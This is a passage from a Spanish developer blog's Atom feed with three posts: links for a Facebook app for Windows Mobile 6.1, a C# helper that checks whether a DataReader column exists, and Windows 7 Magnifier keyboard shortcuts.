src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/scr_5F00_facebook01_5F00_10840E52.jpg" width="260" height="200" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Hace poquito tiempo que he estrenado un nuevo teléfono con Windows Mobile 6.1&lt;/p&gt;  &lt;p align="justify"&gt;Tengo que reconocer que no tengo mucha experiencia con este sistema y me ha costado un poco configurar el acceso a datos del dispositivo.&lt;/p&gt;  &lt;p align="justify"&gt;Pero lo bueno ha sido cuando he querido instalar la versión de &lt;a href="http://www.microsoft.com/windowsmobile/es-es/downloads/facebook.mspx" target="_blank"&gt;Facebook&lt;/a&gt; que Microsoft a creado para Windows Mobile para las versiones 6.* &lt;/p&gt;  &lt;p align="justify"&gt;No ha habido manera que utilizará la conexión correctamente y se conectara a internet, he reinstalando una y otra vez la versión castellana, ingles y porque no tenía el chino. Pero finalmente después de navegar mucho he encontrad la versión que conecta y me deja disfrutar de esta aplicación en mi móvil.&lt;/p&gt;  &lt;p align="justify"&gt;Os adjunto los ficheros necesarios.&lt;/p&gt;  &lt;p&gt;Aplicación&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/Facebook_2D00_v0.14.cab" target="_blank"&gt;&lt;img title="images" border="0" alt="images" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" width="51" height="48" /&gt;&lt;/a&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Idioma Castellano&amp;#160; &lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/Facebook_2D00_v0.14.CASTELLANO.zip" target="_blank"&gt;&lt;img title="images" border="0" alt="images" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" width="51" height="48" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1279" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="Utilidades" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Utilidades/default.aspx" /></entry><entry><title>¿Existe la columna con DataReader?</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/11/10/191-existe-la-columna-con-datareader.aspx" /><id>/Community/blogs/marckys/archive/2009/11/10/191-existe-la-columna-con-datareader.aspx</id><published>2009-11-10T22:10:21Z</published><updated>2009-11-10T22:10:21Z</updated><content type="html">&lt;p align="justify"&gt;En mi empresa desde un principio hemos utilizado una herramienta propia para generar la capa de lógica de negocios, adaptada&amp;#160; al 100% a nuestras necesidades&amp;#160; y que ha ido creciendo con el tiempo. Eso nos ha beneficiado en tener controlado en todo momento nuestros objetos de negocio y nos ha evitado tener que hacer un salto obligatorio para utilizar alguno de los ORM que existen en el mercado, como puede ser: Entity Framework, NHibernate, etc.&lt;/p&gt;  &lt;p align="justify"&gt;Nuestra capa de acceso a datos “DAL” encapsula toda la lógica de conexiones a datos independientemente del proveedor y hay una de las funciones que retorna un lector de datos para poder personalizar la lectura de los datos desde la capa de lógica de Negocios.&lt;/p&gt;  &lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// Ejecuta el comando creado y retorna el lector.&lt;/span&gt;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#808080;"&gt;/// &amp;lt;returns&amp;gt;El resultado de la consulta.&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; DbDataReader EjecutarConsulta(&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; cmd, CommandType tipo)
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; {
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.CommandText = cmd;
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.CommandType = tipo;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.Conectar();
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;this&lt;/span&gt;.comando.ExecuteReader();
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; }&lt;/pre&gt;&lt;/pre&gt;

&lt;p&gt;Eso facilita la carga del objeto de negocio y optimiza la lectura.&lt;/p&gt;

&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;DbDataReader reader = &lt;span style="color:#0000ff;"&gt;null&lt;/span&gt;;
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;Using (Dal dal = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; Dal())
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;{
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; command = &amp;quot;&lt;span style="color:#8b0000;"&gt;select id, nombre, descripcion from productos&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  reader = dal.EjecutarConsulta(command, CommandType.Text);
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;while&lt;/span&gt; (reader.Read())
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  {
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    ...&lt;/pre&gt;&lt;/pre&gt;

&lt;p align="justify"&gt;Pero uno de los problemas habituales que nos encontraremos con el objeto DataReader es que si no nos gusta leer los datos por posición, como es mi caso y preferimos controlar la columna que deseamos leer. Nos podemos encontrar con el horrible error que no se encuentra la columna que estamos intentando leer.&lt;/p&gt;

&lt;p&gt;Ya podemos intentar validar si el objeto es null, pero no funciona:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/capas_5F00_4D1BDEBC.jpg"&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="capas" border="0" alt="capas" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/capas_5F00_thumb_5F00_30A40E3E.jpg" width="574" height="325" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;O si el dato está vacio:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/capas2_5F00_6D5E277F.jpg"&gt;&lt;img style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="capas2" border="0" alt="capas2" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/capas2_5F00_thumb_5F00_7E6776C4.jpg" width="572" height="321" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p align="justify"&gt;Para poder validar si la columna que estamos consultando existe podemos tener una función en nuestro DAL que valide esta situación utilizando el propio esquena de la tabla:&lt;/p&gt;

&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;bool&lt;/span&gt; ValidarColumna( DbDataReader reader, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; nombreColumna)
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;{
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;   reader.GetSchemaTable().DefaultView.RowFilter = 
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;     &amp;quot;&lt;span style="color:#8b0000;"&gt;ColumnName= &amp;#39;&lt;/span&gt;&amp;quot;  + nombreColumna + &amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;#39;&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;   &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; (reader.GetSchemaTable().DefaultView.Count &amp;gt; 0);
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;&lt;/pre&gt;

&lt;p align="justify"&gt;Finalmente cuando queramos hacer la consulta de los datos utilizaremos el validador para evitar errores no controlados en el acceso a datos.&lt;/p&gt;

&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; &lt;span style="color:#0000ff;"&gt;using&lt;/span&gt; (Dal dal = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; Dal())
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt; {
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; command = @&amp;quot;&lt;span style="color:#8b0000;"&gt;select id, nombre, descripcion 
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        from productos&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    reader = dal.EjecutarConsulta(command, CommandType.Text);
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;while&lt;/span&gt; (reader.Read())
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    {
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      ProductoData produc = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; ProductoData();
&lt;/pre&gt;&lt;pre style="background-color:#ffff00;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      produc.ID = (dal.ValidarColumna(reader, &amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;) 
&lt;/pre&gt;&lt;pre style="background-color:#ffff00;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &amp;amp;&amp;amp; reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;] != DBNull.Value)?(&lt;span style="color:#0000ff;"&gt;int&lt;/span&gt;)reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;ID&lt;/span&gt;&amp;quot;]:0;
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      produc.Nombre = (dal.ValidarColumna(reader, &amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;)
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &amp;amp;&amp;amp; reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;] != DBNull.Value)
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        ?reader[&amp;quot;&lt;span style="color:#8b0000;"&gt;Nombre&lt;/span&gt;&amp;quot;].ToString():&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt;.Empty;
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      listaProductos.Add(produc);
&lt;/pre&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }
&lt;/pre&gt;&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;&lt;/pre&gt;

&lt;p&gt;Es una forma un poco rebuscada, pero no conozco ninguna otra forma de verificar esta información.&lt;/p&gt;

&lt;p&gt;Espero que os sea útil.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1275" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="Trucos" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Trucos/default.aspx" /><category term="ADO.NET" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/ADO.NET/default.aspx" /></entry><entry><title>Utilidad Lupa de Windows 7</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/10/27/utilidad-lupa-de-windows-7.aspx" /><id>/Community/blogs/marckys/archive/2009/10/27/utilidad-lupa-de-windows-7.aspx</id><published>2009-10-27T22:41:00Z</published><updated>2009-10-27T22:41:00Z</updated><content type="html">&lt;p align="justify"&gt;Hasta ahora hemos disfrutado de la herramienta como &lt;a target="_blank" href="http://technet.microsoft.com/en-us/sysinternals/bb897434.aspx"&gt;ZoomIt&lt;/a&gt; para hacer Zoom en nuestras presentaciones y ayudarnos a mostrar partes de la pantalla a nuestra audiencia de una manera muy f&amp;aacute;cil y eficiente, pero ahora podemos contar con una utilidad incluida en Windows 7 llamada Lupa y que cumple la misma funci&amp;oacute;n. Pero a mi parecer se ha mejorando el sistema, porque aparte de poder hacer zoom se puede seguir interactuando igualmente con la aplicaci&amp;oacute;n sin problemas de forma aumentada.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/lupa_5F00_74EC6310.jpg"&gt;&lt;img height="185" width="260" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/lupa_5F00_thumb_5F00_284AB71E.jpg" alt="lupa" border="0" title="lupa" style="border-bottom:0px;border-left:0px;display:block;float:none;margin-left:auto;border-top:0px;margin-right:auto;border-right:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="left"&gt;Soporta diferentes modos de zoom:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="left"&gt;Pantalla Completa&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="left"&gt;Modo Lente&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div align="left"&gt;Modo Acoplado&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="left"&gt;M&amp;eacute;todos abreviados de teclado:&lt;/p&gt;
&lt;table cellpadding="0" cellspacing="0" class="MsoNormalTable" style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;width:300pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;mso-cellspacing:0cm;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:1184;mso-padding-alt:1.5pt 1.5pt 1.5pt 1.5pt;mso-border-insideh:.5pt solid windowtext;mso-border-insidev:.5pt solid windowtext;"&gt;

&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;background:#c6d9f1;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;mso-background-themecolor:text2;mso-background-themetint:51;"&gt;
&lt;p align="center" class="MsoNormal"&gt;&lt;b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;M&amp;eacute;todo Abreviado&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;background:#c6d9f1;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;mso-background-themecolor:text2;mso-background-themetint:51;"&gt;
&lt;p align="center" class="MsoNormal"&gt;&lt;b&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Acci&amp;oacute;n&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:1;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Tecla del logotipo de Windows &lt;span style="mso-no-proof:yes;"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/clip_5F00_image002_5F00_4C72A25E.gif"&gt;&lt;img height="16" width="16" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/clip_5F00_image002_5F00_thumb_5F00_55CE6792.gif" alt="clip_image002" border="0" title="clip_image002" style="border-bottom:0px;border-left:0px;display:inline;border-top:0px;border-right:0px;" /&gt;&lt;/a&gt;&lt;/span&gt;+ signo m&amp;aacute;s o signo menos&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Acercar o alejar&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:2;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+Barra espaciadora&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Mostrar el puntero del mouse&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:3;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+F&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo de pantalla completa&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:4;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+L&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo de lente&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:5;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+D&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar al modo acoplado&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:6;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
